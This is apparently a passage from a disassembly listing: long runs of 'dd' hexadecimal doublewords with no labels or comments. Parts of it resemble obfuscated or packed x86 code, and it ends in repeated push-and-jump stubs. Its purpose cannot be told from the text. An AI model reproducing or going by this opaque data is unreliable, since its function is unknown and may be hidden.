		dd 7AD4F0A6h, 88201993h, 1BAA0627h, 5C11325Bh, 370CC6D7h
		dd 40EDC651h, 0A8F5BCDFh, 891D54F7h, 58A1227Fh,	0ABE281AFh
		dd 0D891B41Fh, 0D962D25Bh, 0A9509B2Dh, 1932B600h, 219A3A8Dh
		dd 0A31D5F85h, 0AE1FD3BAh, 54EC7ABEh, 2EBCAAE0h, 58BBE105h
		dd 0F8317E3Bh, 34EEFB0h, 367B1C87h, 7FCBF592h, 27981BECh
		dd 0E6Ah, 6EBCF594h, 59EDA8C5h,	8F1B52F6h, 0FF4B0E24h
		dd 287E3354h, 63040EA3h, 1737982Eh, 0C163CC5Ah,	0F2913288h
		dd 6DFF6FBBh, 5EBDFDBh,	0B867A5B6h, 0ACDE5EFFh,	0AF57D76Ch
		dd 8604FD56h, 93377E1Dh, 0B21DC459h, 22764DE7h,	0B5E77358h
		dd 0D781B9C3h, 0E843AF57h, 42ADCBFFh, 5CC56A23h, 0FB2C7138h
		dd 66A2E402h, 5CAF57D7h, 4CA3A5F3h, 36B60005h, 4E56901Dh
		dd 6AB60005h, 26630FF0h, 9A9819F2h, 1477F8AEh, 0D549h
		dd 5CFFD200h, 76178815h, 0E3DC95B3h, 0DC63BCBEh, 1D40AF57h
		dd 8228D654h, 57DC4078h, 8F2902AFh, 96347D20h, 0DBDADE68h
		dd 42A8AF57h, 57DC0038h, 7069C2AFh, 52C24B38h, 408B3DE9h
		dd 2B5FFE4h, 8A2A9D29h,	846F9531h, 9A0BA8E1h, 3B6CB1F4h
		dd 0AF10D642h, 95BCAA82h, 82A30CBAh, 11E0612Eh,	8B64A0D5h
		dd 0BEF3943Fh, 8060670Ah, 0F94A69ECh, 0D6Eh, 62B8F198h
		dd 5DE9ACC1h, 8B1F56F2h, 0FB4F0A28h, 2C7A3758h,	5F0012A7h
		dd 0B2B9412h, 3D5FC046h, 0EE8D3674h, 61FB63A7h,	5ECE327h
		dd 0BC9BA1B6h, 0F7135EFFh, 6F54EF65h, 66B22C23h, 5910339Ch
		dd 215B2BADh, 0F3C3641Bh, 7BBDF092h, 0BBCD6B91h, 0AF582A7Fh
		dd 8AC36245h, 0AA1BF425h, 415AC78Eh, 5CFFCCD7h,	6F8FEFF4h
		dd 251E7F7Fh, 4D0427F8h, 7B3256F9h, 78822836h, 0AF586E40h
		dd 208F2902h, 0D297BC7Dh, 1CFCADF9h, 0C2F843F1h, 8451B8h
		dd 0E29033B6h, 0AC5ACEA7h, 0AD8AB569h, 0CA26FD7Fh, 876FF854h
		dd 9D269611h, 60E88669h, 8A7CE226h, 9E77A0ADh, 20AAD01Ah
		dd 1D372A47h, 193F5D81h, 3D8A04DEh, 0F2798F29h,	0D0B432BDh
		dd 0C3713A67h, 0C7614278h, 50BF748Eh, 80C5F1BFh, 0EDB8C228h
		dd 0D7BADD90h, 0D2A127B1h, 0E6C257D1h, 0DD2ADCDCh, 948DA6BAh
		dd 0B73AE476h, 0B0D52138h, 7211F278h, 0E248F3Bh, 0BC67ED4Bh
		dd 8328D099h, 5EE4D95h,	0C58DDA6h, 0E7820000h, 9AB718AEh
		dd 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch, 8E1C51F2h
		dd 0F2480525h, 2C7A3351h, 1DA9E083h, 0F1295389h, 0D3B605EDh
		dd 5CFFAE95h, 0D76AAED8h, 7758AF57h, 0CDA69FDAh, 0CE75A760h
		dd 7CBEE18h, 9EB9B600h,	0AEEB8768h, 9507800Ah, 7517F82Eh
		dd 0D476FC3Ch, 0BCA82275h, 0AAE7886Bh, 7A841405h, 8A8A4CD1h
		dd 26BCA822h, 0A653BA3Ch, 70D6E103h, 0D0E24338h, 1F8F96E4h
		dd 5B03h, 54FAE500h, 1D9B8C11h,	0EB5E716h, 1851F7D8h, 0C32C4A90h
		dd 0DB11E9A0h, 62EF9B58h, 87DC2A8Eh, 7DB600D9h,	0A9CB34D2h
		dd 3ABC5AE0h, 9FD3FFA3h, 0ABCD3ECEh, 76B0B6E2h,	2DB6011Fh
		dd 0E6A3CF0Eh, 537760B9h, 0FDFB7D19h, 0D058D2B9h, 238C6Ah
		dd 1C40EF49h, 7B77C855h, 5200000Bh, 0D80EB5E7h,	7D3051B2h
		dd 0B9C3E730h, 0AF57D781h, 8640E843h, 0B605EAD5h, 353865AFh
		dd 0EA084B26h, 44AFD5F1h, 2464A62Eh, 1EB605E5h,	53DC5C35h
		dd 624D7930h, 145D00CDh, 73A59E8Fh, 0CDE96389h,	6E008D50h
		dd 413A7717h, 6C2548D7h, 6DD646C7h, 91ED0FB9h, 55F3BCB4h
		dd 0B491F733h, 3662CDBCh, 18FB2F08h, 45EE3C75h,	2018A226h
		dd 0E2BCB492h, 4AD35049h, 13B551EAh, 0C35CAC48h, 0B4F9993Ah
		dd 0A3453E6Fh, 0E5CE00F2h, 0EB7EC7E4h, 1500000Ah, 44EF3B72h
		dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h
		dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B605EF64h
		dd 0A633185Eh, 0AF57D75Eh, 4C71F600h, 6ABE688h,	242CDD15h
		dd 7ADA6DCBh, 9EBA25C1h, 0D8869A36h, 2E078078h,	0B03A608Ah
		dd 46BA12BCh, 8543D5DBh, 0B606256Fh, 0E3CCFA55h, 0A9EC8140h
		dd 0EC3A1304h, 0C4692043h, 0BC6AD143h, 0B1E5DD3Ah, 6081317h
		dd 8C46F1B6h, 0A4F4D665h, 482D0CBEh, 3C17BCAEh,	7C64C38Ch
		dd 15EECDECh, 0A52h, 1694DD7Ch,	41C580ADh, 0B7F3BADEh
		dd 0E723660Ch, 0D0561B3Ch, 4BEC264Bh, 7F1F8006h, 294BF432h
		dd 0DA79DA60h, 55971793h, 5EFF733h, 0A08FCDB6h,	88155CFFh
		dd 94B57417h, 0D93AE0D9h, 0CBB8F0B5h, 7F7B24B3h, 12DFD283h
		dd 4F36Ah, 0B5E7BD00h, 60AED80Eh, 22B605EAh, 53F2DD09h
		dd 238C1Ah, 2262E449h, 0C4B605EAh, 3A5F3CB2h, 62B64427h
		dd 1ECC77A5h, 0F8304AF0h, 0ABB606A8h, 4E5FC48Dh, 0C30593BCh
		dd 0BCAED9E8h, 2C6F7CFEh, 0F677DFEFh, 99921F56h, 6DC608A0h
		dd 7B36EEBBh, 9273B0ECh, 9AEh, 0A2F8B1D8h, 9D296C01h, 0CB5F1632h
		dd 3B8FCA68h, 6CBAF798h, 1F40D2E7h, 0CB6BD452h,	0FD9F0086h
		dd 0AECD76B4h, 213BA3E7h, 5F1A3E7h, 0FC5B61B6h,	0E0130BAh
		dd 0FB50E471h, 0FF391257h, 0DF440D30h, 0C16E2746h, 71812289h
		dd 12DF1485h, 44B60h, 5EA6BB00h, 5DAF57D7h, 64A644FFh
		dd 0B605EA50h, 6BED1932h, 0FA8012D2h, 0D51F99C2h, 84024BEAh
		dd 0EC31781Bh, 0A7EE8D76h, 0BD06B671h, 5ADCFF09h, 8DA6BCAEh
		dd 7C52085Bh, 542D8EECh, 91Eh, 0D2682148h, 0D99DC71h, 7BCF86A2h
		dd 0ABFFBAD8h, 9C2A6708h, 8FB06217h, 0BBDB44C2h, 6D0FB0F6h
		dd 1E3DE624h, 914BD357h, 5F13377h, 6CCB11B6h, 0FE9D5CFFh
		dd 58316AB7h, 622B4ADBh, 0ACEC1E44h, 96AF57D6h,	0FE887BBDh
		dd 4E3A38F9h, 0A912DFD2h, 3B8h,	3559BA72h, 0EC2E3870h
		dd 0AFAF57D6h, 0F610B60Dh, 0B605E9E7h, 2E5472DDh, 5EA9C9Ch
		dd 6BCD66B6h, 0D77F1E81h, 73AD8AADh, 97C80275h,	84AEC7D3h
		dd 6DD6544Dh, 0F7EF66CEh, 9117026Fh, 4EF7BB8h, 0CD88A663h
		dd 0DA5E4FD4h, 0B9DCEF4Dh, 45E307F0h, 2375385Ah, 0AEDBCA25h
		dd 12339CBCh, 0B2FFBAD7h, 82238079h, 1506ABE2h
		dd 1852FC3Ch, 0AC22794h, 1A38A9E9h, 0E0D9D25Fh,	7BA96538h
		dd 3B8427ECh, 846h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h
		dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch
		dd 0B9A33B8Fh, 5F20B0Fh, 94B3F9B6h, 88155CFFh, 4F561852h
		dd 9E9A9E28h, 0CF68AF58h, 178E8837h, 0D77F1E81h, 0A264DDF6h
		dd 0DB5831F8h, 2F36FF54h, 3EA1450Ch, 79C35510h,	0DFC8E1DDh
		dd 70412h, 0DF1F0000h, 2C8h, 0EA1CBAFAh, 0AF57D6AEh, 0EB7DBB94h
		dd 0AF57D6B1h, 662B4CB7h, 0FF48E039h, 87CE6E5Dh, 0F228011Ah
		dd 5EA8C48h, 0F61076B6h, 0B605E9B2h, 18CEA790h,	49DD94B7h
		dd 0A10E47E6h, 0E787B418h, 0F61405AAh, 5EA5454h, 2C052EB6h
		dd 0F23650FEh, 0D0B605E9h, 8D2B3167h, 0B509D94Bh, 5E41713h
		dd 8842EDB6h, 8B3F36A0h, 6B73971h, 88200BB6h, 0AEBD1F7Eh
		dd 9FABE5BCh, 0DF96B6D1h, 88815952h, 8A3E17D6h,	0EC7C959Dh
		dd 4FBF00A3h, 79000007h, 0B01397DEh, 0DF40C683h, 9AAF0B9h
		dd 399A2065h, 4AD15518h, 74AEB27h, 337E2083h, 61284CF7h
		dd 92DB7A25h, 304A9014h, 0B605F2F8h, 0FFA78CCAh, 67F1155Ch
		dd 0C5A66BB8h, 5FF35415h, 742D9E1Ah, 941B98D1h,	0CC6F763Fh
		dd 0D7FA3E48h, 6FC8AF57h, 0E9CA3076h, 0A1EC8E4Fh, 0ED322B7Ch
		dd 60294BBCh, 0EA4EEAC3h, 12DFD7FEh, 0C19h, 59BA2200h
		dd 5D22763Fh, 1C4h, 0D765A678h,	0F626AF57h, 4DDE0DACh
		dd 1EF71168h, 0EF9D5EE8h, 4467B605h, 0D2CB6821h, 43E2CDF9h
		dd 6ABE282h, 0EE3C15h, 65B3FE9Fh, 4DD29BBAh, 37D368CCh
		dd 0ADF57A95h, 39EF48BCh, 0EC7CB848h, 8F98694Ah, 0B9000006h
		dd 0F053D79Eh, 1F800643h, 49EA3079h, 79DA6025h,	8A1195D8h
		dd 470A2BE7h, 733E60C3h, 0A1E88C37h, 0D29BBA65h, 0F00AD054h
		dd 0B605F3B8h, 0FFE74C8Ah, 67F1155Ch, 0ACEE1B70h, 7EED4B3Ah
		dd 800BAE0h, 0FAAF58B3h, 3FC69951h, 873FF8B4h, 0A6EF8E11h
		dd 0B7F29F00h, 0D194B96Ah, 4CD3B0F8h, 91723EE7h, 2576BBF2h
		dd 40092CF3h, 6652FAh, 198112DFh, 5B000000h, 0B98F8B3Dh
		dd 1775AF58h, 58B8B5F5h, 0CBA48FAFh, 0F1DF466Dh, 0FA000000h
		dd 57D765A6h, 0ABDD7BAFh, 0AF57D76Fh, 95953755h, 6FAF57D7h
		dd 0FA4DEBC4h, 83C5E15Ah, 0B605EAD2h, 41082B94h, 0D80E29D7h
		dd 0B6F214B2h, 0EDB605EAh, 8B9C014Ch, 0D758D07Bh, 16D775B4h
		dd 0DE433C79h, 0ED56D4CDh, 119A074Eh, 58E218A3h, 0BCADF145h
		dd 77F4143Fh, 99EC7CBBh, 5A4A91Ah, 0ABCE0000h, 56FBA4E2h
		dd 0C2C9713h, 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h
		dd 3E8CC161h, 68BEF795h, 59EDA4C7h, 0ADED1FCDh,	97B605F4h
		dd 5CFFEA51h, 34528815h, 57D79692h, 55C36CAFh, 9D2FABCAh
		dd 0AF57D79Dh, 4ED3CC67h, 8DB013CBh, 36FF54C4h,	0ABCD0C2Fh
		dd 736CBDE2h, 48E6C937h, 2177A00Dh, 0DFD69975h,	77C12h
		dd 0DFC70000h, 20h, 155CFFFAh, 276E0EF1h, 0F29112F1h, 0D4591033h
		dd 0EE45EAC3h, 8EADB47Dh, 30C043C7h, 0DB000000h, 0FE9D5CFFh
		dd 58316AB7h, 0D71413DBh, 0ED8FAF57h, 88A67FA4h, 188D60CDh
		dd 892E1897h, 4B022128h, 0D3D7719Fh, 0B1AF57D6h, 4F062586h
		dd 0BA4463E9h, 20DF3230h, 708AE8EBh, 819297E4h,	179810FBh
		dd 37F03D74h, 7E883E85h, 0B606058Dh, 83CE7053h,	9A40EB15h
		dd 0D7531A39h, 6708C96Ch, 2A95312Ah, 0CFD84508h, 8331FA69h
		dd 58C58CB0h, 29619B4Fh, 1BB60605h, 5A34730h, 604C7C3h
		dd 692BDB6h, 2D4DB6DCh,	0E527C360h, 0B60605A5h,	5DDBB49Fh
		dd 0B419718Bh, 933553BCh, 0BCB41997h, 3DE9C26Dh, 0ACFAB3D2h
		dd 933B5D46h, 7CE72477h, 0F6221B81h, 7C8E0A29h,	0BCB46C3Ch
		dd 62A6E006h, 20BCB46Ch, 81251EF7h, 6BE9215Bh, 9ABABCB4h
		dd 8D5D4ED3h, 149576A2h, 5DEF1BA0h, 0C35C868Eh,	282DDB74h
		dd 6AE5CE27h, 428F849h,	37520000h, 0EA87287Eh, 90B81BAFh
		dd 4CE24DD9h, 7112BD09h, 5061EE3Ch, 5EECA1C2h, 821855F5h
		dd 0FC4A0321h, 2D793053h, 2119A3B9h, 0E3B605F6h, 5CFF7EA5h
		dd 0F2E9115h, 0C07AA046h, 0AF57D6C8h, 0A40791BAh, 8C1158FBh
		dd 0F23F7213h, 0D15E1731h, 7DFCA50Eh, 0F1F8B912h, 2F8F1B52h
		dd 12DFD633h, 0F67211F2h, 57E35454h, 2C052EAFh,	0F0029687h
		dd 3Eh,	4508298Ah, 4269CFD8h, 0D80EB5E7h, 2715AEh, 0A644EFB6h
		dd 0D0561F3Dh, 26F036h,	0D990B3B6h, 0CF79A74Dh,	0B60026CBh
		dd 951A9EB9h, 9071BEF7h, 382h, 2BF3E06Ah, 9D53FE63h, 0B5E7101Bh
		dd 38123AEFh, 0F3EC104Dh, 0A4AB5D7h, 1F38B600h,	0B3721192h
		dd 7F36529Fh, 17001986h, 0BE7F198Ah, 0B5FAD39Ah, 9C0148ECh
		dd 79F8B916h, 9CE0413Ah, 9D4D476h, 85AEB600h, 9B209413h
		dd 619BC16Fh, 0B6000A29h, 7126D11Bh, 80B6F154h,	98C70197h
		dd 6ABCA862h, 94BA25C1h, 0DD5B4CD1h, 3A60D477h,	0AD766408h
		dd 0B7534C76h, 50A3EA15h, 3456FCC3h, 0C350A3F4h, 92A9E4C6h
		dd 0FE009F71h, 0F33DC355h, 75A142B1h, 862B04D8h, 0EC317C1Dh
		dd 0D65B1E33h, 4BEC214Dh, 0F0802D06h, 14BB3AFBh, 45F7F6BFh
		dd 4FBEC8FEh, 35C9F842h, 14668C1Ah, 573B893Bh, 0EDB2E6E0h
		dd 4C9A074Eh, 268BCE63h, 59FCA3F5h, 0C66C8A10h,	0F80D8484h
		dd 43D57EC9h, 0CF6350C4h, 0D67C258Ah, 241D0E93h, 0CB719F4Bh
		dd 0B65BC881h, 17BF0920h, 0C9F7E413h, 0E7AECEF1h, 208861BAh
		dd 0A002B726h, 7DA28DD0h, 0A002B9FDh, 8944EAD0h, 60CDA6EFh
		dd 315E93BFh, 5FE2F74h,	2283E898h, 0FDA60D93h, 622F50B3h
		dd 0FE766236h, 40913397h, 0AA000000h, 0F53830BAh, 0E7BB5826h
		dd 1C46F6B1h, 2912B264h, 2BDFC8C5h, 567E91h, 46EB44B6h
		dd 568084h, 0DDC61CB6h,	7EAFF4B1h, 0D2E0413Ah, 1477A9E6h
		dd 2FFBAF29h, 4BFDAC7Bh, 0B12FEDh, 0FFF00000h, 1788155Ch
		dd 2DF63B76h, 49DA470Eh, 3547632Ah, 51A572B5h, 0C248E06Ah
		dd 5887E738h, 0D099BCAFh, 34AE94Ah, 4BF1D9Eh, 1550FDE6h
		dd 0BC2F5983h, 86B60097h, 0EAE19ADh, 0C2F711B5h, 0A4BCAB39h
		dd 0F253163Bh, 6E90185Dh, 9DBE21C5h, 48E94AD0h,	734CE305h
		dd 6142EC7Fh, 1B5E0h, 0F1B8DF00h, 20650AB5h, 561F399Ah
		dd 86C36FD0h, 0B3FE9F00h, 49C9E877h, 7E216528h,	0AA1591DCh
		dd 0DC47C38Ah, 32AAF0B9h, 0F99A9E28h, 2268B605h, 7730BA05h
		dd 524E70Ch, 99BA65B3h,	2EA856D4h, 784EFA10h, 0E910779h
		dd 1F80266Fh, 0BCED327Fh, 0E7A9967Ch, 0AED80EB5h, 0B600054Fh
		dd 6AEC1A35h, 471E7C60h, 0E142D6BCh, 311D19h, 0ADE886B6h
		dd 0B2FF9F00h, 0A90AA16Dh, 842D862Ah, 778C9A76h, 0BD7D14h
		dd 0FFC60000h, 1788155Ch, 74F63B76h, 0AF57DC1Bh, 13C58BCDh
		dd 4678ECB5h, 58740404h, 7C55FEAFh, 99D0733Ch, 0CA83A20Dh
		dd 0DC95B31Ch, 8E2EEF5Ch, 387117F8h, 58749A9Eh,	0D6CF68AFh
		dd 84639630h, 0F621B600h, 0DD004AB0h, 6879DFCh,	0A68517F7h
		dd 77D782Ch, 95A61691h,	2475BAF3h, 8E719F4Bh, 2E43A4E1h
		dd 0AF3BCD6Bh, 95BCAB0Eh, 82A30CBAh, 90B81BCFh,	4AF55FD9h
		dd 0A5446429h, 0EFEC7F9Dh, 0AC73CCh, 0B3D60000h, 6E03ACFAh
		dd 14349F2Bh, 0C866C95Dh, 0F596398Dh, 0D4E562B8h, 0CA501D3Eh
		dd 684C969h, 70B6FF9Dh,	0A1E5ACCFh, 0A5E527C5h,	9FB605FAh
		dd 5EFFF259h, 92C9713h,	0FFDDFA40h, 1788155Ch, 5EE93D74h
		dd 6703A4FEh, 532FC473h
		dd 261F56F2h, 0D1204680h, 49E2B606h, 0D9183BE4h, 91DC7EBFh
		dd 0FD221B0Ch, 50193BACh, 0DD802367h, 5A33761Ch, 185915D5h
		dd 8378D6E8h, 31781B22h, 0A7E10FF5h, 0D6E81863h, 95D07E21h
		dd 90B37CBCh, 0A7CB54D9h, 11BABDE2h, 0A3EA8990h, 0D099BC67h
		dd 61A9A02Ah, 87DAF8A9h, 3D1B211h, 0F4000000h, 58FFCBB0h
		dd 70138C11h, 92BF439h,	2042E340h, 3E5FC06Dh, 0D4752E73h
		dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h,	0C681E689h
		dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 0E089505Ch, 405h
		dd 42D00h, 4870000h, 4895C24h, 59356824h, 1C890000h, 4EC8324h
		dd 0BD242C89h, 6AE1405h, 685DE889h, 2BCEh, 81242489h, 42404h
		dd 565B0000h, 73895E50h, 34FF5E08h, 0C4835B24h,	2434FF04h
		dd 4C48358h, 0FA595DE9h, 9FEE9BFFh, 0A7CBA145h,	0FAB84647h
		dd 306AE23h, 0BFE0FFC5h, 1279459h, 0FF6A7117h, 5B2A8463h
		dd 0FE5DE48Dh, 4161D694h, 3171D532h, 745A086Dh,	0A8476D58h
		dd 894DF4BDh, 7F0F5EB8h, 4250D14Bh, 9E292B14h, 778E121h
		dd 3E758254h, 0AF6B6AD0h, 0FF63B59Ch, 39035319h, 557548EFh
		dd 0D2132E11h, 0F470D6CAh, 4245489Bh, 357D50D7h, 7056E58Ah
		dd 5A64DEC8h, 5F59D9D3h, 0E96F3E58h, 0Fh, 7A2D6448h, 2 dup(0)
		dd 0E9000000h, 588h, 92286108h,	0CD591C31h, 3B8FC662h
		dd 6BBFFA98h, 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h
		dd 5EFDA6E4h, 0D10B9317h, 5FB73B7h, 2C0B51B6h, 0E38B30BAh
		dd 8235F3CBh, 0A3EA8916h, 57FB9C07h, 0C06742F7h, 32665F6Bh
		dd 0E2AFD051h, 1158FBA4h, 0CF6D568Ch, 0EA881986h, 302902AFh
		dd 5D1437F8h, 67224FD0h, 0A7E32543h, 9DAF5882h,	1C8566B2h
		dd 39EA377Ah, 0B7C9561Fh, 0C66C733Ch, 140D1E83h, 848B1481h
		dd 0B112A8E1h, 0B5F51793h, 0EEAF5882h, 6AC50540h, 0EA8A3571h
		dd 85A57EA3h, 97B112C8h, 66E95ADEh, 0BFDDE44Dh,	6C0FB0F6h
		dd 701E8125h, 0C600E335h, 0AF5882BFh, 0A00D44E4h, 0FC9E53FFh
		dd 255BD8B1h, 5B7E54Eh,	83E757Ch, 0D6AE4DDh, 0D8BA96A4h
		dd 575D12DFh, 0E6000000h, 88155CFFh, 57D7484Eh,	773A5BAFh
		dd 92DB792Ah, 0B486FD0Dh, 2A778BF4h, 291128Bh, 0B0C26348h
		dd 12DF49C4h, 123h, 52FF0400h, 6E10F317h, 0BADFE23h, 2F6A0798h
		dd 850D2182h, 57D74743h, 39123DAFh, 3AC19F4h, 0F41257FCh
		dd 0F4246D0Bh, 0CF86A50Eh, 5EFF5C7Bh, 78158E13h, 8431F03Dh
		dd 3E73141Bh, 6D2447E8h, 95053FB9h, 0B3002475h,	6C63EE3Bh
		dd 0DD5B3CBCh, 0DA93B56Eh, 0E5ACCC55h, 0A47E7B8h, 0D45DCEA5h
		dd 0AF70DB45h, 0DF0E47A3h, 6F4612h, 0FFD90000h,	508E135Eh
		dd 1E83CE6Fh, 6404AB0Dh, 0C92D802Dh, 0D72119A3h, 0C0E3AF57h
		dd 0BEFAD39Eh, 34555CC5h, 0E1822D79h, 0F09E07ACh, 91B768B5h
		dd 0AACA5BD8h, 0A10ABEE3h, 442F7100h, 0A2E91DBh, 98C8DAA2h
		dd 0D8B15322h, 1718C450h, 5A3F12DFh, 0
		dd 0F69B5EFFh, 0D6CCCC7Eh, 9DB6AF57h, 352E7FA4h, 5C1537E8h
		dd 69CAA1D7h, 3E8CC162h, 1752FF11h, 0EB6310F3h,	57D75951h
		dd 17002BAFh, 0DDD82281h, 0C6AF57D6h, 0DB44E9A4h, 0C4AFF4BDh
		dd 0ABC7CE57h, 7E7DF5EEh, 0FA61EBB5h, 4F8378EBh, 26128612h
		dd 0C112DF11h, 1, 0DD59FF5Ah, 57D76FABh, 1FA55AFh, 2960039Ch
		dd 0C7684584h, 0ED2D5F85h, 0D7AF57D6h, 0D5733C7Ch, 1FBD0E9Ch
		dd 65C406A4h, 5FB5FFE3h, 50B3AFF4h, 6B34642Dh, 7A6581C8h
		dd 0BC0692DBh, 8D397013h, 9F4B0222h, 0FFE32D6Dh, 0FC3C17B5h
		dd 0E2C9CF0Fh, 0BE35B5FFh, 8E4FEEF5h, 79CDA6EFh, 0B1FEB7D6h
		dd 0E6044DF0h, 0E30A0EB8h, 5FF8B5FFh, 7FA76AD9h, 79BFF294h
		dd 7B1A2182h, 0C06E9432h, 0FFE38286h, 2FD740B5h, 0B5FFE2EBh
		dd 600D7ED9h, 0AD09F325h, 1477DAB1h, 16754h, 0A3C52E00h
		dd 0E7654EEAh, 0AED80EB5h, 0B6000723h, 0BDC5D7E1h, 7DF78B5h
		dd 0F97279CFh, 120BF66Ch, 0C16E518Dh, 0AA0E1F84h, 8BA76605h
		dd 0AB51D5CEh, 0D691A821h, 296FD07h, 6AB7FE9Dh,	37D39AB9h
		dd 0F03B7F89h, 2E09B5FFh, 3D96198Ah, 87CE6D74h,	0CFBFAB03h
		dd 565E1477h, 0E1000000h, 0AFEAB6E7h, 0F39BAFD5h, 63A5413Ah
		dd 2F57FA07h, 0F4B9DAFDh, 5454961Bh, 4F2F57FAh,	68396623h
		dd 0DE218ECBh, 26602CF5h, 2F57F9E2h, 389E77A0h,	3E7711F2h
		dd 81A001FAh, 0D7719510h, 0AF57F9B3h, 0FA60A691h, 0EF347919h
		dd 0D4591436h, 0C14EEAC3h, 0B8h, 0EA1CBAE4h, 0AF57D6AEh
		dd 0AA7DBB94h, 0CECA7C0Ah, 0B4AF57D6h, 9B04A29Bh, 0F278B0F9h
		dd 8C96B54h, 0D2332C65h, 66B7FCB1h, 0A593432h, 2BB600h
		dd 2A6302A3h, 0AC697AFCh, 596D19E9h, 5A944B05h,	0FB3D879Eh
		dd 3B4DEB11h, 0B60065FFh, 2565A7C5h, 1FB60066h,	52DD5B34h
		dd 35357A33h, 0B60066F0h, 0C7CE575Ch, 0CB1A0CA4h, 8FACF058h
		dd 0EE8F7096h, 3C8F75A3h, 1C872398h, 0BCED3277h, 3354F67Ch
		dd 35BCAE65h, 9D2FABCAh, 0BCAE659Dh, 45D3CC67h,	921390BBh
		dd 0CA0CBAF3h, 0A0298629h, 0AF93FA7h, 2645EEC7h, 6F994DF6h
		dd 0C35C6B0Ah, 0F8B1D7F8h, 144EABBh, 0CCEB3F28h, 0D80EB5E7h
		dd 901D54F7h, 0ADCB1187h, 7B72FB2Bh, 3BEF8F50h,	585E8981h
		dd 58D07BAFh, 683698Eh,	0F3947FB6h, 82D1C973h, 98B3B606h
		dd 511C3EAFh, 0B35DDBCCh, 82F73355h, 83CDB606h,	0FFB461C6h
		dd 0CCA59EE9h, 0D69FBE67h, 54CEF50h, 520E5E98h,	47A73289h
		dd 2771385Ch, 0B9DCE34Ch, 3575973Dh, 0F328952h,	529E9A24h
		dd 0CB643289h, 48EB54D2h, 0CDA6EF89h, 0D693BF60h, 842D8649h
		dd 7D1FDE7Dh, 64CF5B34h, 5A2B88C1h, 11h, 0C230BA7Dh, 0F3BAD9DEh
		dd 64657DAEh, 0B5A5F3ACh, 1158FFCEh, 3970138Ch,	40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 3B68FA4Ah, 89000049h, 8956241Ch,	4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2404895Ch, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	56241C89h, 223903BEh, 0D6EE813Eh
		dd 8169522Ah, 2E326DF6h, 0F9C6811Ah, 8168A86Ah,	0F88242EEh
		dd 8BF08930h, 0C4812434h, 4, 241C8B54h,	4C481h,	50560000h
		dd 0CE242C81h, 5E3D4842h, 42CEC681h, 73893D48h,	1C8B5E08h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5724048Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 43E95C24h,	0D7FFFA53h
		dd 0AE29D5B8h, 0FFC50306h, 182294E0h, 56A7D22Ch, 11127D3Ah
		dd 0EA6CFC15h, 0C51DB062h, 664B0274h, 0F5CD325Dh, 3FC6494Eh
		dd 8A1C6854h, 80DCAD68h, 0E03D1D62h, 0C4A8D875h, 8F4B8A09h
		dd 2A72E521h, 8A64AC1Ah, 39863B0Fh, 0C7131936h,	2430D44Bh
		dd 0D7AA9F14h, 5D9D2B68h, 5911CB17h, 0DFEB5109h, 0F0DE520Eh
		dd 4F25CA0Bh, 5B590E47h, 49E44735h, 0A98D8D66h,	8006AE2Bh
		dd 9D89D5DBh, 6A825EDh,	5B98D89h, 6A06A8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1CB6B0C3h
		dd 8B66E4F5h, 0C1BD29C6h, 8106A82Dh, 458585DFh,	6985C764h
		dd 0D806A814h, 6A000064h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 2569C351h, 85C7A93Fh
		dd 6A80BBDh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CDC35141h
		dd 7612DD7Dh, 0FDB5FFF9h, 0B306A805h, 0DD95FF3Bh, 0E906A820h
		dd 7, 0C63B633Dh, 6A9FF97Fh, 3195FF00h,	8B06A81Bh, 7AEBC0h
		dd 0A70EEAA6h, 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 0AD4BB669h
		dd 2B79E2AEh, 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h
		dd 0AB5AD43Eh, 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh
		dd 0EE264AA0h, 1942B0BCh, 0EC8CDCEDh, 0C776B29Bh, 0D42F64DDh
		dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 815138C8h, 839B0BABh
		dd 4DFA0D45h, 63873B82h, 0AE41C505h, 5920918Eh,	990DAA14h
		dd 189E990h, 9E2D0000h,	2C2736BCh, 98D31AD5h, 0D1D746B1h
		dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h,	92A59EB9h
		dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
		dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
		dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
		dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 2 dup(0)
		dd 0E9000000h, 0F87h, 0AE2F5F68h, 1886E906h, 7F68FFFBh
		dd 0E906AE30h, 0FFFB187Ch, 0AE31F468h, 1872E906h, 0D768FFFBh
		dd 0E906AE32h, 0FFFB1868h, 0AE33CF68h, 185EE906h, 0CA68FFFBh
		dd 0E906AE34h, 0FFFB1854h, 0AE358268h, 184AE906h, 0DD68FFFBh
		dd 0E906AE35h, 0FFFB1840h, 0AE36E768h, 1836E906h, 6468FFFBh
		dd 0E906AE37h, 0FFFB182Ch, 0AE383E68h, 1822E906h, 0E168FFFBh
